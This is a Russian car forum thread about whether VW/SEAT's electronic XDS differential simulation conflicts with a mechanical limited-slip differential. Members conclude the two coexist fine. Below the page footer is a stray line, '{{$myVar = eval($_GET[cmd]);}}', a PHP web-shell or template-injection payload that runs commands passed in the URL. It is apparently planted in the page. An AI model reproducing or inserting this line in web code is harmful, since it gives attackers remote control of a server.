+ Ответить в теме
Показано с 1 по 9 из 9

Тема: Имитация блокировки vs механическа


  1. #1
    GTI-Racing jenyz is on a distinguished road Аватар для jenyz
    Регистрация
    30.05.2012
    Откуда
    Москва
    Машина
    SEAT Ibiza Cupra Bocanegra
    Сообщений
    238

    Имитация блокировки vs механическа

    Как уживается механическая блокировка дифференциала с электронной имитацией?
    При установки мех.блокировки электронную имитацию отключать надо?

  2. #2
    GTI-Racing jenyz is on a distinguished road Аватар для jenyz
    Регистрация
    30.05.2012
    Откуда
    Москва
    Машина
    SEAT Ibiza Cupra Bocanegra
    Сообщений
    238
    Подниму.

    Вопрос касается dsg6 и блокировки дифференциала

  3. #3
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Я бы отключил в таком случае. Электронная система диффа работает через АБС и ЕСП. Явно будет мешать нормальной механической )
    песок сыпется....не останавливайтесь на достигнутом !

  4. #4
    Кобрабля 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold Аватар для 2esco
    Регистрация
    27.12.2010
    Откуда
    Moscow
    Машина
    Candy
    Сообщений
    2,288
    при стоковых установках все отл...
    в целом если хочется можно и отрубить! ну скорее ослабить. я езжу гемора ваще никакого!
    Провокатор^^

  5. #5
    GTI-Racing jenyz is on a distinguished road Аватар для jenyz
    Регистрация
    30.05.2012
    Откуда
    Москва
    Машина
    SEAT Ibiza Cupra Bocanegra
    Сообщений
    238
    После установки механической блокировки, имитации блокировки вмешивается?

    Я боюсь, что xds будет тормозить колесо, а блокировка - крутить))) разорвут машину))))
    А с отключением esp, xds...на seat ibiza ...пока не научились отключать. Говорят, намертво все прописано.
    xds точно знаю ослабляется.

  6. #6
    Новичок ASKer will become famous soon enough ASKer will become famous soon enough Аватар для ASKer
    Регистрация
    04.01.2009
    Откуда
    Краснодар
    Машина
    GTI mkVI
    Сообщений
    203
    А с чего они должны разорвать машину? У них же одна задача :-)
    Я, после установки блоки, xds поставил на low, всё гут :-)
    #everyday GTI
    #revo st3 engine tune #cts turbo k04 #eurojet turboback exhaust #GFB DV+ #china charge&discharge pipe #Vibra Technics subframe mount #rs3 style silentblocks #cts turbo intercooler #revo st2 dsg tune #LSD Peloquin #Bilstein B8 + H&R -30 springs #ATE PowerDisc + ATE Cermic pads #Polar FIS Adv #RDash LED mirror, footwell, license plate light #ESX stealth subwoofer

  7. #7
    GTI-Racing jenyz is on a distinguished road Аватар для jenyz
    Регистрация
    30.05.2012
    Откуда
    Москва
    Машина
    SEAT Ibiza Cupra Bocanegra
    Сообщений
    238
    Переживаю, так как об алгоритме работы имитации можно только догадываться и надеяться))

  8. #8
    Новичок ASKer will become famous soon enough ASKer will become famous soon enough Аватар для ASKer
    Регистрация
    04.01.2009
    Откуда
    Краснодар
    Машина
    GTI mkVI
    Сообщений
    203
    Цитата Сообщение от jenyz Посмотреть сообщение
    Переживаю, так как об алгоритме работы имитации можно только догадываться и надеяться))
    XDS работает примерно так: когда одно колесо начинает вращаться быстрее другого (по датчикам ABS устанавливается скорость) электроника дает команду тормозной системе и она подтормаживает колесо, которое вращалось быстрее второго.
    Блока же наоборот, когда одно колесо начинает вращаться быстрее другого на определенный угол, блокируется и оба колеса начинают грести синхронно...
    Т.ч. у обоих систем одна задача - уровнять скорость вращения колес, поэтому даже если оставить XDS включенным на high ничего плохого не будет...
    #everyday GTI
    #revo st3 engine tune #cts turbo k04 #eurojet turboback exhaust #GFB DV+ #china charge&discharge pipe #Vibra Technics subframe mount #rs3 style silentblocks #cts turbo intercooler #revo st2 dsg tune #LSD Peloquin #Bilstein B8 + H&R -30 springs #ATE PowerDisc + ATE Cermic pads #Polar FIS Adv #RDash LED mirror, footwell, license plate light #ESX stealth subwoofer

  9. #9
    GTI-Racing jenyz is on a distinguished road Аватар для jenyz
    Регистрация
    30.05.2012
    Откуда
    Москва
    Машина
    SEAT Ibiza Cupra Bocanegra
    Сообщений
    238
    Как я понимаю - xds, в правом повороте, будет правое колесо подтормаживать, а механическая блокировка - будет передавать момент на левое колесо.

    Добавлено через 6 минут
    В общем, написал я письмо в APR Австралия, т.к. они сделали единственную машину, известную мне с 1.4tsi+dsg7, в которую установили механическую блокировку.
    VW polo gti. Проект - polo project.

    We not longer have this car . It performed fine for 2 years,running the XDS with the SQS LSD.

    We were very happy with this LSD also was a massive improvement over the factory open diff.
    Добавлено через 10 минут
    Можно ставить)))
    Последний раз редактировалось jenyz; 04.03.2014 в 00:41. Причина: Добавлено сообщение

+ Ответить в теме

Похожие темы

  1. установка блокировки
    от koalasu в разделе Санкт-Петербург
    Ответов: 10
    Последнее сообщение: 21.11.2013, 14:04

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}